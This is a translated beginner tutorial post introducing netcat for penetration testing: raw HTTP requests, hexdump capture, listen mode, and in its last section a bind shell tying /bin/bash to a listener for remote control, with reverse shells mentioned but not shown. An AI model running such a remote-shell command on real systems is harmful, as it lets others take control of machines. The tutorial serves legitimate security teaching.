This post was originally published in French only. We translated it in 2026 so the archive reads the same in both languages. Read the original →
The Backtrack 101 series aims to introduce beginners to several tools distributed with Backtrack Linux. By following these articles, a beginner can take part in the Hackfest games and start learning penetration testing techniques.
In this fourth article, we will talk about a tool called NetCat.
Official NetCat project site: http://netcat.sourceforge.net/
Synopsis:
NetCat (nc) is a staple of information security. The tool lets you quickly create communication channels in order to test various features and analyze the communications of a specific host. Of course, how easy the tool is to use makes nc the perfect tool for demonstrations. Fortunately (or unfortunately, depending on your point of view...) nc is flagged as malicious by most antivirus software because it has often been used in reverse shell scenarios and other malicious use cases. This article will focus on using the tool in the context of a penetration test and of information analysis.
How does it work?
nc is mainly used to establish TCP and UDP communications. It can be used both as a server and as a client. This feature makes nc the ideal tool for cases where a communication must be set up between two points and where the need for speed makes it impossible to develop a custom tool within a reasonable timeframe.
The basics
Using nc is simple. The first use case we will discuss is the HTTP client. Indeed, since you can have nc communicate with a server by telling it what information to use, you can use nc as an HTTP client. The following line of code shows how you could communicate with a web server (www.perdu.com in this case) using nc:
# echo -e "GET http://www.perdu.com HTTP/1.0\n\n" | nc www.perdu.com 80
Before showing the result of running this command, a quick explanation is in order. The first part of the command, echo -e "..." |, sends the text between the quotes to the nc application. The -e parameter simply makes \n be interpreted not as two characters but rather as a line break. The string between the quotes was not chosen at random. It is in fact a GET request of the HTTP protocol. It is entirely possible to make other types of requests; you just have to follow the protocol being used and everything will work like a charm! The second part of the command line, nc www.perdu.com 80, simply tells it to use the nc application (netcat) and establish a connection to the server www.perdu.com on port 80. So running the command gives the result:
As the previous figure shows, you can observe the server's full response in order to analyze it. There are of course other tools that can make this kind of request over the HTTP protocol much more easily than netcat. But what about situations where a "homemade" protocol is used? What about the case where you need to communicate with a service that is unknown because that service is custom-built, for example? Well, in those situations, netcat becomes the dream tool for carrying out the communications. In those situations, the service might respond with characters that cannot be displayed in the console. For this kind of situation, nc offers a hexdump mode that lets you see the hexadecimal code returned by the server. The following command line could be used to enable hexdump mode. Note that, for the sake of simplicity, the site www.perdu.com was again used in the example.
# echo -e "GET http://www.perdu.com HTTP/1.0\n\n" | nc www.perdu.com 80 -o test
As you can see, the only difference from the first command is the use of the -o option, which creates a test file containing a formatted hexdump of the server's response. The following figure shows the contents of the test file thus created.
So, as you can see, it is quick and easy to use nc to send information over a network. But the possibilities do not stop at sending information. You can also use netcat to receive information.
Let's imagine we want to open a communication channel on port 80 of a workstation in order to receive information. We could use the following command to reach our goal:
#nc -l -p 80 -v
This command puts nc into listen mode (-l option) on port 80 (-p option). Note that nc's default settings are not very verbose, so the -v option was used to get more information about the state of the application's execution. The result of the command will therefore be:
As indicated, nc goes into listen mode on port 80. However, since there is no communication on that port, netcat cannot do anything other than listen. Using the same machine, in order to test how it works, we could, in another terminal, run the command:
#nc localhost 80
This command establishes a communication with the netcat instance placed in listen mode. The result of running this command (both on the server side and the client side) is shown in the following figure:
From that moment on, any text written in the console will be sent through the communication channel, as the following figure shows:
So you can use netcat to receive information! This becomes all the more interesting for receiving information in situations where a homemade protocol is used. So if you do not know the protocol used by some software X that communicates with a destination X, and you would like to obtain the information sent by the software, you can receive the communications with netcat placed in listen mode to help analyze the software.
A popular use of netcat is to tie an application, bash for example, to netcat in order to get a remote bash session. The nature of netcat makes this tool ideal for this kind of task. Let's imagine we want to make a "bash server"; we could use the following command to tie bash to the netcat application placed in listen mode:
#nc -l -p 80 -v -e /bin/bash
So the /bin/bash program will be run by netcat, making it available through the netcat application. A user could then connect to the "bash server" using the command:
#nc localhost 80
Once connected, that person would have access to the bash application on the target computer and could control the target computer. The following figure shows an example of running these commands as well as an attacker taking control of the target machine:
In situations where it is impossible for the attacker to connect to the target machine (nat, firewall, etc...), it is possible to make a reverse shell from the target machine so that it connects back to the attacker itself. I'll let you do your own research for that particular case ;)
Final word
In the end, as we have seen, netcat is a very handy tool that can be used in many situations. Personally, I like using it to demonstrate various concepts when time does not allow setting up a complicated scenario. It is up to you to find interesting use cases!
Did you like this article?
Would you like to read an article about a tool you are not familiar with? Just leave the tool's name in a comment; if it is available in Backtrack, an article will be written about it.